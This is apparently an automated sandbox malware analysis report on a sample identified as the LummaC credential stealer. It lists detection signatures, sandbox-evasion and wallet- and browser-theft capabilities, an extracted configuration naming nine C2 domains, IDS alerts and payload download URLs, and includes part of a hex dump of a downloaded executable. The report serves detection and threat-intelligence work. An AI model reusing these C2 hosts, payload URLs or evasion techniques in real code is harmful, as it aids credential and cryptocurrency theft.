Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1572053
MD5:	d7229a6c265f82bc80e0908656b99344
SHA1:	5f7a6a735d114a12096d8b5e8048f62bf1cdb748
SHA256:	128194635b1cd03bdd7da72b0346b5a5d82da29cde42dade730b15252396a6f7
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1596 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D7229A6C265F82BC80E0908656B99344)

chrome.exe (PID: 5712 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6544 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=1896,i,9604878912781494424,10388162517610597454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7644 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7852 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1976,i,6169164683179771580,6537590639377131950,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["dwell-exclaim.biz", "zinc-sneark.biz", "print-vexer.biz", "dare-curbys.biz", "se-blurry.biz", "covery-mover.biz", "impend-differ.biz", "atten-supporse.biz", "formy-spill.biz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2237871217.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2240046403.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2238596385.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2165412620.0000000000BA0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2240167156.0000000000BAA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2238110756.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2239504789.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2238832656.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2239744184.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2239268803.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2237491903.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2239058013.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1596	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 1596	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1596	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 1596	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 12 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:50:04.344448+0100	2028371	3	Unknown Traffic	192.168.2.6	49707	104.21.16.1	443	TCP
2024-12-10T02:50:06.349148+0100	2028371	3	Unknown Traffic	192.168.2.6	49708	104.21.16.1	443	TCP
2024-12-10T02:50:08.749298+0100	2028371	3	Unknown Traffic	192.168.2.6	49710	104.21.16.1	443	TCP
2024-12-10T02:50:11.052216+0100	2028371	3	Unknown Traffic	192.168.2.6	49711	104.21.16.1	443	TCP
2024-12-10T02:50:13.334617+0100	2028371	3	Unknown Traffic	192.168.2.6	49713	104.21.16.1	443	TCP
2024-12-10T02:50:16.058158+0100	2028371	3	Unknown Traffic	192.168.2.6	49719	104.21.16.1	443	TCP
2024-12-10T02:50:18.563485+0100	2028371	3	Unknown Traffic	192.168.2.6	49725	104.21.16.1	443	TCP
2024-12-10T02:50:24.879024+0100	2028371	3	Unknown Traffic	192.168.2.6	49746	104.21.16.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:50:05.077354+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49707	104.21.16.1	443	TCP
2024-12-10T02:50:07.091782+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49708	104.21.16.1	443	TCP
2024-12-10T02:50:25.899611+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49746	104.21.16.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:50:05.077354+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49707	104.21.16.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:50:07.091782+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49708	104.21.16.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:50:04.344448+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49707	104.21.16.1	443	TCP
2024-12-10T02:50:06.349148+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49708	104.21.16.1	443	TCP
2024-12-10T02:50:08.749298+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49710	104.21.16.1	443	TCP
2024-12-10T02:50:11.052216+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49711	104.21.16.1	443	TCP
2024-12-10T02:50:13.334617+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49713	104.21.16.1	443	TCP
2024-12-10T02:50:16.058158+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49719	104.21.16.1	443	TCP
2024-12-10T02:50:18.563485+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49725	104.21.16.1	443	TCP
2024-12-10T02:50:24.879024+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49746	104.21.16.1	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:50:27.407238+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49752	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:50:02.783358+0100	2057921	1	Domain Observed Used for C2 Detected	192.168.2.6	52990	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T02:50:09.712462+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49710	104.21.16.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://atten-supporse.biz/apilit	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/mv	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apiY	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/6	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apiate	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/f	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeZ	Avira URL Cloud: Label: malware

Found malware configuration

Source: file.exe.1596.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["dwell-exclaim.biz", "zinc-sneark.biz", "print-vexer.biz", "dare-curbys.biz", "se-blurry.biz", "covery-mover.biz", "impend-differ.biz", "atten-supporse.biz", "formy-spill.biz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 50%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2578754897.0000000000091000.00000040.00000001.01000000.00000003.sdmp	String decryptor: impend-differ.biz
Source: 00000000.00000002.2578754897.0000000000091000.00000040.00000001.01000000.00000003.sdmp	String decryptor: print-vexer.biz
Source: 00000000.00000002.2578754897.0000000000091000.00000040.00000001.01000000.00000003.sdmp	String decryptor: dare-curbys.biz
Source: 00000000.00000002.2578754897.0000000000091000.00000040.00000001.01000000.00000003.sdmp	String decryptor: covery-mover.biz
Source: 00000000.00000002.2578754897.0000000000091000.00000040.00000001.01000000.00000003.sdmp	String decryptor: formy-spill.biz
Source: 00000000.00000002.2578754897.0000000000091000.00000040.00000001.01000000.00000003.sdmp	String decryptor: dwell-exclaim.biz
Source: 00000000.00000002.2578754897.0000000000091000.00000040.00000001.01000000.00000003.sdmp	String decryptor: zinc-sneark.biz
Source: 00000000.00000002.2578754897.0000000000091000.00000040.00000001.01000000.00000003.sdmp	String decryptor: se-blurry.biz
Source: 00000000.00000002.2578754897.0000000000091000.00000040.00000001.01000000.00000003.sdmp	String decryptor: atten-supporse.biz
Source: 00000000.00000002.2578754897.0000000000091000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2578754897.0000000000091000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2578754897.0000000000091000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2578754897.0000000000091000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2578754897.0000000000091000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2578754897.0000000000091000.00000040.00000001.01000000.00000003.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:50022 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000002.2583063417.0000000005D52000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2445366476.0000000007CC0000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49710 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49711 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49707 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49708 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49719 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49725 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.6:52990 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49746 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49713 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49708 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49707 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49707 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49708 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49746 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49710 -> 104.21.16.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: atten-supporse.biz
Source: Malware configuration extractor	URLs: formy-spill.biz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 10 Dec 2024 01:50:26 GMTContent-Type: application/octet-streamContent-Length: 2821120Last-Modified: Tue, 10 Dec 2024 01:21:12 GMTConnection: keep-aliveETag: "67579788-2b0c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 61 14 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 6e 63 6c 6e 6a 71 76 00 c0 2a 00 00 a0 00 00 00 ac 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 75 74 6b 6a 6f 7a 69 00 20 00 00 00 60 2b 00 00 04 00 00 00 e6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 ea 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49710 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49711 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49707 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49708 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49719 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49725 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49746 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49713 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49752 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.0
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.0
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.0
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.0
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.0
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.0
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

